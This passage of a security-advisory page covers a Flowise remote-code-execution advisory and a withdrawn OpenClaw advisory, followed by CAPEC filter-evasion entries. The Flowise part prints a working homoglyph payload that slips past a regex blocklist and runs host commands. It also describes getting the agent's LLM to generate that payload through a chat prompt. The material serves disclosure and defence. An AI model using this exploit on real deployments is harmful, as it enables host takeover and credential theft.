`pyodide.runPythonAsync(code)` on line 209.\n- packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts:186 validates the LLM-generated `pythonCode` before `pyodide.runPythonAsync` on line 197.\n\nThe original patches for GHSA-3hjv-c53m-58jj (commit a24acac, PR #5701) and a24acac\u0027s follow-up (commit 0c8236a, PR #5836) rely entirely on this validator. Because the validator is bypassable, both advisories are effectively reintroduced in 3.1.2.\n\n### PoC\nStandalone reproduction that mirrors the exact code paths in CSVAgent.ts / AirtableAgent.ts. It feeds a malicious `pythonCode` to the real validator, confirms the validator returns `valid: true`, then runs the same string through Pyodide and prints the output of a native command executed on the host:\n\n```js\n// npm install pyodide\nconst { loadPyodide } = require(\u0027pyodide\u0027)\n\nconst FORBIDDEN_PATTERNS = [\n { pattern: /\\bfrom\\s+\\S+\\s+import\\b/g }, { pattern: /\\bimport\\b/g },\n { pattern: /\\beval\\s*\\(/g }, { pattern: /\\bexec\\s*\\(/g },\n { pattern: /\\bcompile\\s*\\(/g }, { pattern: /\\b__import__\\s*\\(/g },\n { pattern: /\\bopen\\s*\\(/g }, { pattern: /\\bgetattr\\s*\\(/g },\n { pattern: /\\bos\\./g }, { pattern: /\\bsubprocess\\./g },\n { pattern: /\\bsys\\./g }, { pattern: /\\bsocket\\./g },\n { pattern: /\\burllib\\./g }, { pattern: /\\brequests\\./g },\n { pattern: /\\b__builtins__\\b/g }, { pattern: /\\b__class__\\b/g },\n { pattern: /\\b__subclasses__\\s*\\(/g }, { pattern: /\\b__bases__\\b/g },\n { pattern: /\\b__mro__\\b/g }, { pattern: /\\b__globals__\\b/g },\n { pattern: /\\b__code__\\b/g }, { pattern: /\\b__dict__\\b/g },\n]\nconst validate = (code) =\u003e FORBIDDEN_PATTERNS.every(p =\u003e { p.pattern.lastIndex = 0; return !p.pattern.test(code) })\n\nconst payload = `\ncls = ().__cl\\u{1D41A}ss__\nbase = cls.__b\\u{1D41A}se__\nsubs = base.__subcl\\u{1D41A}sses__()\nfor c in subs:\n if c.__name__ == \u0027catch_warnings\u0027:\n cw = c()\n bi = cw._module.__b\\u{1D42E}iltins__\n imp_name = chr(95)*2 + \u0027imp\u0027 + \u0027ort\u0027 + chr(95)*2\n imp = bi[imp_name]\n js_mod = imp(chr(106)+chr(115))\n cp_name = \u0027child\u0027 + chr(95) + \u0027process\u0027\n cp = js_mod.process.mainModule.require(cp_name)\n opts = js_mod.Object.new(); opts.encoding = \u0027utf8\u0027\n result = cp.execSync(\u0027id \u0026\u0026 hostname \u0026\u0026 echo FLOWISE_RCE_CONFIRMED\u0027, opts)\n break\nstr(result)\n`\n\n;(async () =\u003e {\n console.log(\u0027validator passes:\u0027, validate(payload)) // true\n const py = await loadPyodide()\n console.log(await py.runPythonAsync(payload))\n})()\n```\n\nRun output on a stock host:\n\n```\nvalidator passes: true\nuid=0(root) gid=0(root) groups=0(root)\n\u003chostname\u003e\nFLOWISE_RCE_CONFIRMED\n```\n\nLive path against a Flowise deployment:\n1. Workspace user (or any user able to reach a public CSV Agent chatflow) opens a chatflow containing CSV_Agent or Airtable_Agent.\n2. For the LLM-generated path: send a chat message via `POST /api/v1/prediction/{chatflowId}` that instructs the model to answer in Python using mathematical bold letters for `__class__`, `__subclasses__`, `__base__`, and `__builtins__`, following the structure above. The model\u0027s output is regex-validated (passes), then executed by Pyodide, giving RCE on the host.\n3. For the direct path: a workspace user with chatflow edit rights sets `customReadCSV` to the payload above. Every subsequent prediction hits CSVAgent.ts:171 and runs the attacker-controlled code on the host.\n\n### Impact\nAny user able to reach a chatflow that uses CSV_Agent or Airtable_Agent, including unauthenticated users on public chatflows, can run arbitrary OS commands as the Flowise process on the host. That yields read/write access to every credential and file the Flowise process can reach, pivot into the internal network, and full compromise of multi-tenant workspaces that share the same server. The prior advisories GHSA-3hjv-c53m-58jj and GHSA-v38x-c887-992f were scored 9.8 critical for the same reachable sink; this finding restores that impact in version 3.1.2.",
"id": "GHSA-52fh-8v99-63c2",
"modified": "2026-08-04T17:31:09Z",
"published": "2026-08-04T17:31:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-52fh-8v99-63c2"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/pull/6499"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/commit/f4e2794f6a576b94578f2fdafbf49c2fb304626c"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "Flowise: Pyodide validator Unicode homoglyph bypass leads to RCE"
}
GHSA-5326-6F73-M96W
Vulnerability from github – Published: 2026-03-19 03:30 – Updated: 2026-03-19 18:21Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-5f9p-f3w2-fwch. This link is maintained to preserve external references.
Original Description
OpenClaw versions prior to 2026.2.22 contain an allowlist parsing mismatch vulnerability in the macOS companion app that allows authenticated operators to bypass exec approval checks. Attackers with operator.write privileges and a paired macOS beta node can craft shell-chain payloads that pass incomplete allowlist validation and execute arbitrary commands on the paired host.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c 2026.2.22"
},
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-19T18:21:39Z",
"nvd_published_at": "2026-03-19T02:16:04Z",
"severity": "MODERATE"
},
"details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-5f9p-f3w2-fwch. This link is maintained to preserve external references.\n\n## Original Description\nOpenClaw versions prior to 2026.2.22 contain an allowlist parsing mismatch vulnerability in the macOS companion app that allows authenticated operators to bypass exec approval checks. Attackers with operator.write privileges and a paired macOS beta node can craft shell-chain payloads that pass incomplete allowlist validation and execute arbitrary commands on the paired host.",
"id": "GHSA-5326-6f73-m96w",
"modified": "2026-03-19T18:21:39Z",
"published": "2026-03-19T03:30:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-5f9p-f3w2-fwch"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31993"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/5da03e622119fa012285cdb590fcf4264c965cb5"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/e371da38aab99521c4e076cd3d95fd775e00b784"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-allowlist-parsing-mismatch-in-system-run-shell-chains"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:H/UI:A/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "Duplicate Advisory: OpenClaw macOS companion app (beta): allowlist parsing mismatch for system.run shell chains",
"withdrawn": "2026-03-19T18:21:39Z"
}
Mitigation
Strategy: Input Validation
Do not rely exclusively on detecting disallowed inputs. There are too many variants to encode a character, especially when different environments are used, so there is a high likelihood of missing some variants. Only use detection of disallowed inputs as a mechanism for detecting suspicious activity. Ensure that you are using other protection mechanisms that only identify "good" input - such as lists of allowed inputs - and ensure that you are properly encoding your outputs.
CAPEC-120: Double Encoding
The adversary utilizes a repeating of the encoding process for a set of characters (that is, character encoding a character encoding of a character) to obfuscate the payload of a particular request. This may allow the adversary to bypass filters that attempt to detect illegal characters or strings, such as those that might be used in traversal or injection attacks. Filters may be able to catch illegal encoded strings, but may not catch doubly encoded strings. For example, a dot (.), often used in path traversal attacks and therefore often blocked by filters, could be URL encoded as %2E. However, many filters recognize this encoding and would still block the request. In a double encoding, the % in the above URL encoding would be encoded again as %25, resulting in %252E which some filters might not catch, but which could still be interpreted as a dot (.) by interpreters on the target.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-182: Flash Injection
An attacker tricks a victim to execute malicious flash content that executes commands or makes flash calls specified by the attacker. One example of this attack is cross-site flashing, an attacker controlled parameter to a reference call loads from content specified by the attacker.
CAPEC-3: Using Leading 'Ghost' Character Sequences to Bypass Input Filters
Some APIs will strip certain leading characters from a string of parameters. An adversary can intentionally introduce leading "ghost" characters (extra characters that don't affect the validity of the request at the API layer) that enable the input to pass the filters and therefore process the adversary's input. This occurs when the targeted API will accept input data in several syntactic forms and interpret it in the equivalent semantic way, while the filter does not take into account the full spectrum of the syntactic forms acceptable to the targeted API.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-6: Argument Injection
An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
CAPEC-71: Using Unicode Encoding to Bypass Validation Logic
An attacker may provide a Unicode string to a system component that is not Unicode aware and use that to circumvent the filter or cause the classifying mechanism to fail to properly understanding the request. That may allow the attacker to slip malicious data past the content filter and/or possibly cause the application to route the request incorrectly.
CAPEC-73: User-Controlled Filename
An attack of this type involves an adversary inserting malicious characters (such as a XSS redirection) into a filename, directly or indirectly that is then used by the target software to generate HTML text or other potentially executable content. Many websites rely on user-generated content and dynamically build resources like files, filenames, and URL links directly from user supplied data. In this attack pattern, the attacker uploads code that can execute in the client browser and/or redirect the client browser to a site that the attacker owns. All XSS attack payload variants can be used to pass and exploit these vulnerabilities.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.